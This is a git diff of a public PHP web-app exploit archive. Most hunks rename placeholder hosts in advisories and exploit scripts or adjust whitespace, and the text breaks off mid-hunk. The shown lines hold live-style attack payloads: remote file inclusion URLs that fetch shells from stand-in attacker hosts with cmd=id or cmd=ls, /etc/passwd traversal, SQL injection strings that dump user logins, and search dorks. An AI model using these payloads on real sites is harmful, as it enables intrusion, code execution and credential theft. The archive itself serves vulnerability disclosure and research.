542f89ac0..7a8c13c40 100755 --- a/platforms/php/webapps/1963.txt +++ b/platforms/php/webapps/1963.txt @@ -23,23 +23,23 @@ Exploit: Variable $_CONF[path] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script. -were [path] on some cases => www.server/[path]/public_html/index.php +were [path] on some cases => www.site.com/[path]/public_html/index.php -# http://www.server/[path]/plugins/links/functions.inc?_CONF[path]=[Evil_Script] -# http://www.server/[path]/plugins/polls/functions.inc?_CONF[path]=[Evil_Script] -# http://www.server/[path]/plugins/spamx/BlackList.Examine.class.php?_CONF[path]=[Evil_Script] -# http://www.server/[path]/plugins/spamx/DeleteComment.Action.class.php?_CONF[path]=[Evil_Script] -# http://www.server/[path]/plugins/spamx/EditIPofURL.Admin.class.php?_CONF[path]=[Evil_Script] -# http://www.server/[path]/plugins/spamx/MTBlackList.Examine.class.php?_CONF[path]=[Evil_Script] -# http://www.server/[path]/plugins/spamx/MassDelete.Admin.class.php?_CONF[path]=[Evil_Script] -# http://www.server/[path]/plugins/spamx/MailAdmin.Action.class.php?_CONF[path]=[Evil_Script] -#http://www.server/[path]/plugins/spamx/MassDelTrackback.Admin.class.php?_CONF[path]=[Evil_Script] -# http://www.server/[path]/plugins/spamx/EditHeader.Admin.class.php?_CONF[path]=[Evil_Script] -# http://www.server/[path]/plugins/spamx/EditIP.Admin.class.php?_CONF[path]=[Evil_Script] -# http://www.server/[path]/plugins/spamx/IPofUrl.Examine.class.php?_CONF[path]=[Evil_Script] -# http://www.server/[path]/plugins/spamx/Import.Admin.class.php?_CONF[path]=[Evil_Script] -# http://www.server/[path]/plugins/spamx/LogView.Admin.class.php?_CONF[path]=[Evil_Script] -# http://www.server/[path]/plugins/staticpages/functions.inc?_CONF[path]=[Evil_Script] +# http://www.site.com/[path]/plugins/links/functions.inc?_CONF[path]=[Evil_Script] +# http://www.site.com/[path]/plugins/polls/functions.inc?_CONF[path]=[Evil_Script] +# http://www.site.com/[path]/plugins/spamx/BlackList.Examine.class.php?_CONF[path]=[Evil_Script] +# http://www.site.com/[path]/plugins/spamx/DeleteComment.Action.class.php?_CONF[path]=[Evil_Script] +# http://www.site.com/[path]/plugins/spamx/EditIPofURL.Admin.class.php?_CONF[path]=[Evil_Script] +# http://www.site.com/[path]/plugins/spamx/MTBlackList.Examine.class.php?_CONF[path]=[Evil_Script] +# http://www.site.com/[path]/plugins/spamx/MassDelete.Admin.class.php?_CONF[path]=[Evil_Script] +# http://www.site.com/[path]/plugins/spamx/MailAdmin.Action.class.php?_CONF[path]=[Evil_Script] +#http://www.site.com/[path]/plugins/spamx/MassDelTrackback.Admin.class.php?_CONF[path]=[Evil_Script] +# http://www.site.com/[path]/plugins/spamx/EditHeader.Admin.class.php?_CONF[path]=[Evil_Script] +# http://www.site.com/[path]/plugins/spamx/EditIP.Admin.class.php?_CONF[path]=[Evil_Script] +# http://www.site.com/[path]/plugins/spamx/IPofUrl.Examine.class.php?_CONF[path]=[Evil_Script] +# http://www.site.com/[path]/plugins/spamx/Import.Admin.class.php?_CONF[path]=[Evil_Script] +# http://www.site.com/[path]/plugins/spamx/LogView.Admin.class.php?_CONF[path]=[Evil_Script] +# http://www.site.com/[path]/plugins/staticpages/functions.inc?_CONF[path]=[Evil_Script] diff --git a/platforms/php/webapps/19790.txt b/platforms/php/webapps/19790.txt index 82b2b788a..f658e4871 100755 --- a/platforms/php/webapps/19790.txt +++ b/platforms/php/webapps/19790.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ diff --git a/platforms/php/webapps/1983.txt b/platforms/php/webapps/1983.txt index b2cea7f4e..20d8f650d 100755 --- a/platforms/php/webapps/1983.txt +++ b/platforms/php/webapps/1983.txt @@ -22,7 +22,7 @@ Exploit: Variable $domain not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script. -# http://www.server/[path]/styles/default/global_header.php?installed=23&domain=[Evil_Script] +# http://www.site.com/[path]/styles/default/global_header.php?installed=23&domain=[Evil_Script] --------------------------------------------------------------------------- diff --git a/platforms/php/webapps/19898.txt b/platforms/php/webapps/19898.txt index 0f03dc85d..e9af14817 100755 --- a/platforms/php/webapps/19898.txt +++ b/platforms/php/webapps/19898.txt @@ -57,4 +57,4 @@ Do some input validation. ------------------------------------- -################################################# \ No newline at end of file +################################################# \ No newline at end of file diff --git a/platforms/php/webapps/1994.txt b/platforms/php/webapps/1994.txt index 224a2c220..00ec84137 100755 --- a/platforms/php/webapps/1994.txt +++ b/platforms/php/webapps/1994.txt @@ -6,7 +6,7 @@ bug found in file file_upload.php : require_once("$sbp/sb_helpers.php"); inject : -http://webserver/components/com_simpleboard/image_upload.php?sbp=[evil_script] +http://website.com/components/com_simpleboard/image_upload.php?sbp=[evil_script] Greetz : Baylaw, Reel, JoySolutions, K-159, SaMuR4i_X, SolpoT, Nugelo, diff --git a/platforms/php/webapps/1996.txt b/platforms/php/webapps/1996.txt index 633dd93af..c218940d7 100755 --- a/platforms/php/webapps/1996.txt +++ b/platforms/php/webapps/1996.txt @@ -11,7 +11,7 @@ web Site : http://sabdrimer.ru Remote : Yes Critical Level : Dangerous -http://www.webserver/skins/advanced/advanced1.php?pluginpath[0]=[evil_script] +http://www.website.com/skins/advanced/advanced1.php?pluginpath[0]=[evil_script] Important :register_globals=On ----------------------- diff --git a/platforms/php/webapps/1998.pl b/platforms/php/webapps/1998.pl index 1bb104c97..21d4b5830 100755 --- a/platforms/php/webapps/1998.pl +++ b/platforms/php/webapps/1998.pl @@ -43,7 +43,7 @@ sub usage() print "- Usage: $0 <target> <script location> <shell location> <shell variable>\r\n"; print "- <target> -> Victim's target eg: http://www.victim.com\r\n"; print "- <script location> -> Path to script eg: /ottoman/error.php\r\n"; - print "- <cmd shell location> -> eg: http://www.server/sh_dir/\r\n"; + print "- <cmd shell location> -> eg: http://www.site.com/sh_dir/\r\n"; print "- <cmd shell variable> -> eg: cmd\r\n\r\n"; print "- Eg: http://127.0.0.1 /ottoman_v1.1.3/index.php http://10.0.0.10/sh_dir/ cmd\r\n\r\n"; exit(); diff --git a/platforms/php/webapps/20170.txt b/platforms/php/webapps/20170.txt index fed9efa91..5d31d832d 100755 --- a/platforms/php/webapps/20170.txt +++ b/platforms/php/webapps/20170.txt @@ -35,4 +35,4 @@ ________________________________________________________________________________ Im not responsible for which is given No me hago responsable del uso que se le de _______________________________________________________________________________________ -Daniel Barragan "D4NB4R" 2012 \ No newline at end of file +Daniel Barragan "D4NB4R" 2012 \ No newline at end of file diff --git a/platforms/php/webapps/2018.txt b/platforms/php/webapps/2018.txt index d3870e357..62730de4d 100755 --- a/platforms/php/webapps/2018.txt +++ b/platforms/php/webapps/2018.txt @@ -13,6 +13,6 @@ bug: require_once($class_path.'rich_files/lang/class.rich_lang.php'); ----------------------------------------------------------------------------------------- -simple:http://www.server/flushcmd/Include/editor/rich_files/class.rich.php?class_path=http://www.shell.com/shell.txt? +simple:http://www.site.com/flushcmd/Include/editor/rich_files/class.rich.php?class_path=http://www.shell.com/shell.txt? # milw0rm.com [2006-07-16] diff --git a/platforms/php/webapps/20197.txt b/platforms/php/webapps/20197.txt index 54d874338..a156742e3 100755 --- a/platforms/php/webapps/20197.txt +++ b/platforms/php/webapps/20197.txt @@ -72,4 +72,4 @@ Joomgalaxy is a rich, comprehensive directory component brimming with unique fea Im not responsible for which is given No me hago responsable del uso que se le de _______________________________________________________________________________________ -Daniel Barragan "D4NB4R" 2012 \ No newline at end of file +Daniel Barragan "D4NB4R" 2012 \ No newline at end of file diff --git a/platforms/php/webapps/20199.php b/platforms/php/webapps/20199.php index 90264e402..2c72e728e 100755 --- a/platforms/php/webapps/20199.php +++ b/platforms/php/webapps/20199.php @@ -45,7 +45,7 @@ i-Hmx@localhost# exit */ if(!$argv[2]) { -echo "\n+ usage : php ".$argv[0]." [Target without http://] /path/\nex : php ".$argv[0]." server /support/\n"; +echo "\n+ usage : php ".$argv[0]." [Target without http://] /path/\nex : php ".$argv[0]." site.com /support/\n"; exit(); } session_start(); diff --git a/platforms/php/webapps/20278.txt b/platforms/php/webapps/20278.txt index 6eb5576dd..643422e4d 100755 --- a/platforms/php/webapps/20278.txt +++ b/platforms/php/webapps/20278.txt @@ -4,7 +4,7 @@ PHPix is a web-based photo-album system written in PHP. It is vulnerable to an a Example: -http://server/Album/?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0 +http://target.com/Album/?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0 The above line if given will output all the directories that are nested within /etc directory. Other more sinister content can be revealed from there. \ No newline at end of file diff --git a/platforms/php/webapps/2032.pl b/platforms/php/webapps/2032.pl index 7cdc9fb8e..e3f573e97 100755 --- a/platforms/php/webapps/2032.pl +++ b/platforms/php/webapps/2032.pl @@ -249,3 +249,4 @@ for ($k=0;$k<=$#ARR;$k++) #======================================================================================================== # milw0rm.com [2006-07-18] + \ No newline at end of file diff --git a/platforms/php/webapps/2033.pl b/platforms/php/webapps/2033.pl index 414b513f4..cb916ce07 100755 --- a/platforms/php/webapps/2033.pl +++ b/platforms/php/webapps/2033.pl @@ -79,7 +79,7 @@ sub info() where |- server - server, where IPB installed without http:// |- /dir/ - dir, where IPB installed or / for no dir - e.g perl w4gipb216.pl someserver /forum/ + e.g perl w4gipb216.pl someserver.com /forum/ [i] Stealing info about users (format id:pass:salt::email) [!] Need MySQL > 4.0 ); diff --git a/platforms/php/webapps/20343.pl b/platforms/php/webapps/20343.pl index d58dfcfbf..02cf4d76b 100755 --- a/platforms/php/webapps/20343.pl +++ b/platforms/php/webapps/20343.pl @@ -1,4 +1,4 @@ - + # Exploit Title: Joomla com_enmasse Remote Exploit @@ -56,7 +56,7 @@ print "\t Joomla com_enmasse Remote Exploit \n"; print "\t\n\n"; use LWP::UserAgent; -print "\nIngrese el Sitio:[http://wwww.server/path/]: "; +print "\nIngrese el Sitio:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); diff --git a/platforms/php/webapps/2035.php b/platforms/php/webapps/2035.php index 8ec2d6f9d..e789e1344 100755 --- a/platforms/php/webapps/2035.php +++ b/platforms/php/webapps/2035.php @@ -137,3 +137,4 @@ echo "Exploit failed..."; ?> # milw0rm.com [2006-07-18] + \ No newline at end of file diff --git a/platforms/php/webapps/20391.php b/platforms/php/webapps/20391.php index b6712c69a..83fed84f8 100755 --- a/platforms/php/webapps/20391.php +++ b/platforms/php/webapps/20391.php @@ -11,7 +11,7 @@ echo "| dork:inurl:V2A_XHTML |\n"; echo "| |\n"; echo "+-------------------------------------------------------------------+\n"; print "\nUsage........: php $argv[0] <host><path><admin.php>\n"; -print "\nex...........: php $argv[0] http://server/V2A_XHTML/admin/admin.php\n"; +print "\nex...........: php $argv[0] http://www.target.com/V2A_XHTML/admin/admin.php\n"; die(); }else { diff --git a/platforms/php/webapps/20416.txt b/platforms/php/webapps/20416.txt index 2d827420e..37daa93df 100755 --- a/platforms/php/webapps/20416.txt +++ b/platforms/php/webapps/20416.txt @@ -40,4 +40,4 @@ Greetz: T0r3x, m1l05, JuMp-Er, EsC, UNICORN, Xermes, s4r4d0 Thanks, ~StRoNiX - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/20428.txt b/platforms/php/webapps/20428.txt index e16df578f..78a2ad625 100755 --- a/platforms/php/webapps/20428.txt +++ b/platforms/php/webapps/20428.txt @@ -10,4 +10,4 @@ include "$admindir/forums/$num.php"; where $f is read from user input via a form, and is meant to be the name of a selected forum. However, any value can be submitted as $f and the corresponding PHP file will be displayed to the browser. This could lead to disclosure of sensitive information, including the MySql server, database name, userid and password, which are kept in master.php. -http://target/cgi-bin/forums/list.php?f=DESIRED_PHP_FILE_WITHOUT_EXTENSION \ No newline at end of file +http://target/cgi-bin/forums/list.php?f=DESIRED_PHP_FILE_WITHOUT_EXTENSION \ No newline at end of file diff --git a/platforms/php/webapps/2046.txt b/platforms/php/webapps/2046.txt index 3a0ba2259..c61972eb2 100755 --- a/platforms/php/webapps/2046.txt +++ b/platforms/php/webapps/2046.txt @@ -93,18 +93,18 @@ Successful exploitation requires that "register_globals= Off ". Proof Of Concept: ~~~~~~~~~~~~~ -http://server/[path]/articles.php?absolute_path=http://attacker.com//inject.txt? -http://server/[path]/contact.php?absolute_path=http://attacker.com//inject.txt? -http://server/[path]/displaypage.php?absolute_path=http://attacker.com//inject.txt? -http://server/[path]/faq.php?absolute_path=http://attacker.com//inject.txt? -http://server/[path]/mainbody.php?absolute_path=http://attacker.com//inject.txt? -http://server/[path]/news.php?absolute_path=http://attacker.com//inject.txt? -http://server/[path]/registration.php?absolute_path=http://attacker.com//inject.txt? -http://server/[path]/whosOnline.php?absolute_path=http://attacker.com//inject.txt? -http://server/[path]/components/com_calendar.php?absolute_path=http://attacker.com//inject.txt? -http://server/[path]/components/com_forum.php?absolute_path=http://attacker.com//inject.txt? -http://server/[path]/components/minibb/index.php?absolute_path=http://attacker.com//inject.txt? -http://server/[path]/modules/mod_calendar.php?absolute_path=http://attacker.com//inject.txt? +http://target.com/[path]/articles.php?absolute_path=http://attacker.com//inject.txt? +http://target.com/[path]/contact.php?absolute_path=http://attacker.com//inject.txt? +http://target.com/[path]/displaypage.php?absolute_path=http://attacker.com//inject.txt? +http://target.com/[path]/faq.php?absolute_path=http://attacker.com//inject.txt? +http://target.com/[path]/mainbody.php?absolute_path=http://attacker.com//inject.txt? +http://target.com/[path]/news.php?absolute_path=http://attacker.com//inject.txt? +http://target.com/[path]/registration.php?absolute_path=http://attacker.com//inject.txt? +http://target.com/[path]/whosOnline.php?absolute_path=http://attacker.com//inject.txt? +http://target.com/[path]/components/com_calendar.php?absolute_path=http://attacker.com//inject.txt? +http://target.com/[path]/components/com_forum.php?absolute_path=http://attacker.com//inject.txt? +http://target.com/[path]/components/minibb/index.php?absolute_path=http://attacker.com//inject.txt? +http://target.com/[path]/modules/mod_calendar.php?absolute_path=http://attacker.com//inject.txt? and more Affected files diff --git a/platforms/php/webapps/2050.php b/platforms/php/webapps/2050.php index 5256ca78c..aadc387ca 100755 --- a/platforms/php/webapps/2050.php +++ b/platforms/php/webapps/2050.php @@ -146,3 +146,4 @@ echo "exploit failed..."; ?> # milw0rm.com [2006-07-21] + \ No newline at end of file diff --git a/platforms/php/webapps/20538.txt b/platforms/php/webapps/20538.txt index 3db9038b9..4beaa26e2 100755 --- a/platforms/php/webapps/20538.txt +++ b/platforms/php/webapps/20538.txt @@ -9,4 +9,4 @@ These files reside in directories accessible via http. If the webserver is not c Properly exploited, this information can allow further attacks on the affected host. http://target/class/mysql.class -http://target/inc/sendmail.inc (settings.inc and etc.) \ No newline at end of file +http://target/inc/sendmail.inc (settings.inc and etc.) \ No newline at end of file diff --git a/platforms/php/webapps/20541.txt b/platforms/php/webapps/20541.txt index ea021aa6f..bca8f7e74 100755 --- a/platforms/php/webapps/20541.txt +++ b/platforms/php/webapps/20541.txt @@ -32,7 +32,7 @@ in file /MaxForum/libs/php/functions.php exploit: <? -$url="http://server/MaxForum/"; +$url="http://site.com/MaxForum/"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url."/includes/forums/warn_popup.php"); curl_setopt($ch, CURLOPT_COOKIE, "max_lang=../gpl.txt"); // <--- edit diff --git a/platforms/php/webapps/20576.txt b/platforms/php/webapps/20576.txt index bcf4d4ee1..69f3665fb 100755 --- a/platforms/php/webapps/20576.txt +++ b/platforms/php/webapps/20576.txt @@ -33,7 +33,7 @@ if ($this->vbulletin->db->affected_rows() < 1 && !$this->vbulletin->db->query_fi ==================================================================== # Exploit Location # ==================================================================== -# Location: http://server/infernoshout.php?do=options&area=commands +# Location: http://site.com/infernoshout.php?do=options&area=commands ==================================================================== # SQL Injection # diff --git a/platforms/php/webapps/20580.txt b/platforms/php/webapps/20580.txt index 2319c3dfa..90632fce3 100755 --- a/platforms/php/webapps/20580.txt +++ b/platforms/php/webapps/20580.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ diff --git a/platforms/php/webapps/20586.txt b/platforms/php/webapps/20586.txt index 4c8aaa4e2..9e3e05e68 100755 --- a/platforms/php/webapps/20586.txt +++ b/platforms/php/webapps/20586.txt @@ -12,4 +12,4 @@ Next, after gaining administrative access to the system, enter the "Master Setti ../../../../../../../../../../../etc/passwd -This will make the contents of the /etc/passwd file viewable. \ No newline at end of file +This will make the contents of the /etc/passwd file viewable. \ No newline at end of file diff --git a/platforms/php/webapps/20587.txt b/platforms/php/webapps/20587.txt index f9cf120a0..818e8419e 100755 --- a/platforms/php/webapps/20587.txt +++ b/platforms/php/webapps/20587.txt @@ -8,4 +8,4 @@ This vulnerability may be exploited requesting a URL of: http://some.host.com/violation.php3?Mod=address@to.spam&ForumName=text_to_spam -Where address@to.spam is the destination of the mail, and text_to_spam is the text to appear in the body of the mail. \ No newline at end of file +Where address@to.spam is the destination of the mail, and text_to_spam is the text to appear in the body of the mail. \ No newline at end of file diff --git a/platforms/php/webapps/2060.txt b/platforms/php/webapps/2060.txt index 83f9e45aa..2ecf16fae 100755 --- a/platforms/php/webapps/2060.txt +++ b/platforms/php/webapps/2060.txt @@ -1,4 +1,4 @@ -Advisory: PHPLive 3.2 Remote Injection Vulnerability + Advisory: PHPLive 3.2 Remote Injection Vulnerability Release Date: 2006/07/23 Author: magnific Discovered: aneurysm.inc security reserach diff --git a/platforms/php/webapps/2062.txt b/platforms/php/webapps/2062.txt index cce1a923f..e7072ff35 100755 --- a/platforms/php/webapps/2062.txt +++ b/platforms/php/webapps/2062.txt @@ -17,7 +17,7 @@ require("$basedir/components/com_mospray/lang/$lang/admin.php"); d0rkiz : allinurl:"com_mospray" -http://www.server/components/com_mospray/scripts/admin.php?basedir=yourcode.txt?&cmd=id +http://www.site.com/components/com_mospray/scripts/admin.php?basedir=yourcode.txt?&cmd=id Used link :] diff --git a/platforms/php/webapps/2063.txt b/platforms/php/webapps/2063.txt index 6808a0cbe..2a161709e 100755 --- a/platforms/php/webapps/2063.txt +++ b/platforms/php/webapps/2063.txt @@ -1,4 +1,4 @@ -X X + X X XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX X X X X diff --git a/platforms/php/webapps/2066.txt b/platforms/php/webapps/2066.txt index b7e1111cb..27f45d2f9 100755 --- a/platforms/php/webapps/2066.txt +++ b/platforms/php/webapps/2066.txt @@ -36,7 +36,7 @@ Dork: inurl:com_multibanners exploit: -http://server/[path]//administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=[attacker] +http://site.com/[path]//administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=[attacker] ##############################MY LOVE JUST FOR U LIENA######################### ######################################################################## diff --git a/platforms/php/webapps/2068.php b/platforms/php/webapps/2068.php index 0b7829e2d..c92936570 100755 --- a/platforms/php/webapps/2068.php +++ b/platforms/php/webapps/2068.php @@ -217,3 +217,4 @@ else ?> # milw0rm.com [2006-07-24] + \ No newline at end of file diff --git a/platforms/php/webapps/20729.txt b/platforms/php/webapps/20729.txt index 983bd3a46..b5677a345 100755 --- a/platforms/php/webapps/20729.txt +++ b/platforms/php/webapps/20729.txt @@ -20,4 +20,4 @@ we write http://www.example.com/banners.php?op=Change&bid=1&url=http://you.are.redir -(where www.example.com is the server running php-nuke) \ No newline at end of file +(where www.example.com is the server running php-nuke) \ No newline at end of file diff --git a/platforms/php/webapps/20762.php b/platforms/php/webapps/20762.php index d33b6a451..5c930e42b 100755 --- a/platforms/php/webapps/20762.php +++ b/platforms/php/webapps/20762.php @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ diff --git a/platforms/php/webapps/2077.txt b/platforms/php/webapps/2077.txt index ce77bc419..f919da96b 100755 --- a/platforms/php/webapps/2077.txt +++ b/platforms/php/webapps/2077.txt @@ -1,4 +1,4 @@ -Advisory: WMNews Remote File Include Vulnerability + Advisory: WMNews Remote File Include Vulnerability Release Date: 2006/07/26 Author: uNfz Critical Level: High diff --git a/platforms/php/webapps/2078.txt b/platforms/php/webapps/2078.txt index 95fbebd0b..d1d7cd7b5 100755 --- a/platforms/php/webapps/2078.txt +++ b/platforms/php/webapps/2078.txt @@ -13,7 +13,7 @@ include("$mosConfig_live_site/components/com_a6mambohelpdesk/about.html" ); # d0rkiz : allinurl:"com_a6mambohelpdesk" -http://www.server/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://shell.txt +http://www.site.com/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://shell.txt # by Dr.Jr7 diff --git a/platforms/php/webapps/2081.txt b/platforms/php/webapps/2081.txt index 877a7ad27..3ae656ca5 100755 --- a/platforms/php/webapps/2081.txt +++ b/platforms/php/webapps/2081.txt @@ -11,7 +11,7 @@ Portail PHP v1.7 <- (chemin) Remote Inclusion Vulnerability #CODE: include ("$chemin/include/config.php") #Exploit: -http://www.server/[path]/mod_membre/inscription.php?chemin=http://evil_scripts? +http://www.site.com/[path]/mod_membre/inscription.php?chemin=http://evil_scripts? #Thanx : WWW.CYBER-WARRiOR.ORG diff --git a/platforms/php/webapps/20848.txt b/platforms/php/webapps/20848.txt index f7d5f8ab8..4ae2b68a1 100755 --- a/platforms/php/webapps/20848.txt +++ b/platforms/php/webapps/20848.txt @@ -26,4 +26,4 @@ the block of the main page. It might become an issue if blockAdmin.php3 gives add/edit/remove permission to some users that are not -supposed to access the filesystem. \ No newline at end of file +supposed to access the filesystem. \ No newline at end of file diff --git a/platforms/php/webapps/20859.txt b/platforms/php/webapps/20859.txt index dd002691c..3a8b46b1f 100755 --- a/platforms/php/webapps/20859.txt +++ b/platforms/php/webapps/20859.txt @@ -30,4 +30,4 @@ Exploit: http://no-exploit.com/forum/admin/admin_modif_partenaire.php?id=-1 unio [!x!] To: All friends Cyber_Devil Allah with you -members [No-exploit.Com] \ No newline at end of file +members [No-exploit.Com] \ No newline at end of file diff --git a/platforms/php/webapps/2086.txt b/platforms/php/webapps/2086.txt index 323db1528..9d3b1f5c8 100755 --- a/platforms/php/webapps/2086.txt +++ b/platforms/php/webapps/2086.txt @@ -8,7 +8,7 @@ # d0rkiz : allinurl:"com_mambatstaff" # -http://www.server/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=http://shell.txt +http://www.site.com/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=http://shell.txt # by Dr.Jr7 diff --git a/platforms/php/webapps/2088.php b/platforms/php/webapps/2088.php index 334572f8e..2caac73a0 100755 --- a/platforms/php/webapps/2088.php +++ b/platforms/php/webapps/2088.php @@ -258,3 +258,4 @@ echo "----------------------------------------------------------\n"; ?> # milw0rm.com [2006-07-30] + \ No newline at end of file diff --git a/platforms/php/webapps/2089.txt b/platforms/php/webapps/2089.txt index 8bd5398b1..ba9658c13 100755 --- a/platforms/php/webapps/2089.txt +++ b/platforms/php/webapps/2089.txt @@ -21,7 +21,7 @@ require($mosConfig_absolute_path."/administrator/components/com_uhp/uhp_config.i d0rkiz : allinurl:"com_uhp" -http://www.w0rkzserver/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=y0urscripts.txt?&cmd=id +http://www.w0rkzsite.com/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=y0urscripts.txt?&cmd=id And used link :] diff --git a/platforms/php/webapps/2090.txt b/platforms/php/webapps/2090.txt index 04708a036..a0868c9a9 100755 --- a/platforms/php/webapps/2090.txt +++ b/platforms/php/webapps/2090.txt @@ -38,7 +38,7 @@ Web: http://forge.joomla.org/sf/scm/do/listRepositories/projects.com_bayesianspamfiltering/scm exploit: -http://server/[path]/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=[Evilcode] +http://site.com/[path]/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=[Evilcode] ##############################MARY TE AAAAAMOOOO!!!############################ ############################################################################### diff --git a/platforms/php/webapps/20918.txt b/platforms/php/webapps/20918.txt index ab0d40edb..e437a6822 100755 --- a/platforms/php/webapps/20918.txt +++ b/platforms/php/webapps/20918.txt @@ -1,4 +1,4 @@ -_______ _____ _ _ _______ _____ + _______ _____ _ _ _______ _____ |__ __| |_ _| \ | |__ __| __ \ /\ | | ___ __ _ _ __ ___ | | | \| | | | | |__) | / \ | |/ _ \/ _` | '_ ` _ \ | | | . ` | | | | _ / / /\ \ @@ -27,7 +27,7 @@ _______ _____ _ _ _______ _____ # Location: -http://server/wp-content/plugins/hd-webplayer/config.php?id= [INJECT HERE] +http://site.com/wp-content/plugins/hd-webplayer/config.php?id= [INJECT HERE] # Exploit Code: @@ -39,7 +39,7 @@ config.php?id=1+/*!UNION*/+/*!SELECT*/+1,2,3,group_concat(ID,0x3a,user_login,0x3 # Location: -http://server/wp-content/plugins/hd-webplayer/playlist.php?videoid= [INJECT HERE] +http://site.com/wp-content/plugins/hd-webplayer/playlist.php?videoid= [INJECT HERE] # Exploit Code: diff --git a/platforms/php/webapps/2095.txt b/platforms/php/webapps/2095.txt index 3ee74dd5d..d4bffe909 100755 --- a/platforms/php/webapps/2095.txt +++ b/platforms/php/webapps/2095.txt @@ -22,3 +22,4 @@ ############################################################################## # milw0rm.com [2006-07-31] + \ No newline at end of file diff --git a/platforms/php/webapps/2096.txt b/platforms/php/webapps/2096.txt index 91c959a76..c53324361 100755 --- a/platforms/php/webapps/2096.txt +++ b/platforms/php/webapps/2096.txt @@ -39,10 +39,10 @@ it) +-------------------------------------------------------------------- + PoC: + Place a PHPShell on a remote location: -+ http://evilserver/pear/PEAR.php/index.html ++ http://evilsite.com/pear/PEAR.php/index.html + + -http://[target]/lib/tree/layersmenu.inc.php?myng_root=http://evilserver/P +http://[target]/lib/tree/layersmenu.inc.php?myng_root=http://evilsite.com/P EAR.php/&cmd=ls + +-------------------------------------------------------------------- @@ -53,3 +53,4 @@ EAR.php/&cmd=ls +-------------------------[ E O F ]---------------------------------- # milw0rm.com [2006-07-31] + \ No newline at end of file diff --git a/platforms/php/webapps/2098.txt b/platforms/php/webapps/2098.txt index be95235ab..43a3c1969 100755 --- a/platforms/php/webapps/2098.txt +++ b/platforms/php/webapps/2098.txt @@ -33,9 +33,9 @@ + + PoC: + Place a PHPShell on a remote location: -+ http://evilserver/include/tsepversion.txt ++ http://evilsite.com/include/tsepversion.txt + -+ http://[target]/include/copyright.php?tsep_config[absPath]=http://evilserver?cmd=ls ++ http://[target]/include/copyright.php?tsep_config[absPath]=http://evilsite.com?cmd=ls + +-------------------------------------------------------------------- + @@ -45,3 +45,4 @@ +-------------------------[ E O F ]---------------------------------- # milw0rm.com [2006-08-01] + \ No newline at end of file diff --git a/platforms/php/webapps/20983.pl b/platforms/php/webapps/20983.pl index 8b66ff07f..cec4a7ac3 100755 --- a/platforms/php/webapps/20983.pl +++ b/platforms/php/webapps/20983.pl @@ -1,4 +1,4 @@ -Exploit Title: Joomla spider calendar lite Remote Exploit + Exploit Title: Joomla spider calendar lite Remote Exploit dork: inurl:com_spidercalendar @@ -43,7 +43,7 @@ print "\t Joomla com_spidercalendar Remote Sql Exploit \n"; print "\t\n\n"; use LWP::UserAgent; -print "\nIngrese el Sitio:[http://wwww.server/path/]: "; +print "\nIngrese el Sitio:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); @@ -95,3 +95,4 @@ chomp(my $target=<STDIN>); _____________________________________________________ Daniel Barragan "D4NB4R" 2012 + \ No newline at end of file diff --git a/platforms/php/webapps/20995.txt b/platforms/php/webapps/20995.txt index a46493112..d3c6db9ea 100755 --- a/platforms/php/webapps/20995.txt +++ b/platforms/php/webapps/20995.txt @@ -5,4 +5,4 @@ It includes pre-installed tools and applications and can be put online with very A vulnerability in Cobalt Qube's webmail implementation allows remote attackers to traverse directories. Malformed HTTP requests can be crafted to display sensitive information about the host. -http://YOURCOBALTBOX:444/base/webmail/readmsg.php?mailbox=../../../../../../../../../../../../../../etc/passwd&id=1 \ No newline at end of file +http://YOURCOBALTBOX:444/base/webmail/readmsg.php?mailbox=../../../../../../../../../../../../../../etc/passwd&id=1 \ No newline at end of file diff --git a/platforms/php/webapps/20996.txt b/platforms/php/webapps/20996.txt index b2e59b5f1..71892192e 100755 --- a/platforms/php/webapps/20996.txt +++ b/platforms/php/webapps/20996.txt @@ -6,4 +6,4 @@ During operation, Basilix opens a PHP include file using a variable as the filen This vulnerability may disclose sensitive information contained in arbitrary web-readable files. It may also be possible for remote attackers to execute php files. -http://beta.basilix.org/basilix.php3?request_id[DUMMY]=../../../../etc/passwd&RequestID=DUMMY&username=blah&password=blah \ No newline at end of file +http://beta.basilix.org/basilix.php3?request_id[DUMMY]=../../../../etc/passwd&RequestID=DUMMY&username=blah&password=blah \ No newline at end of file diff --git a/platforms/php/webapps/2100.txt b/platforms/php/webapps/2100.txt index dac9ec08d..b55d336d7 100755 --- a/platforms/php/webapps/2100.txt +++ b/platforms/php/webapps/2100.txt @@ -34,9 +34,9 @@ +-------------------------------------------------------------------- + PoC: + Place a PHPShell on a remote location: -+ 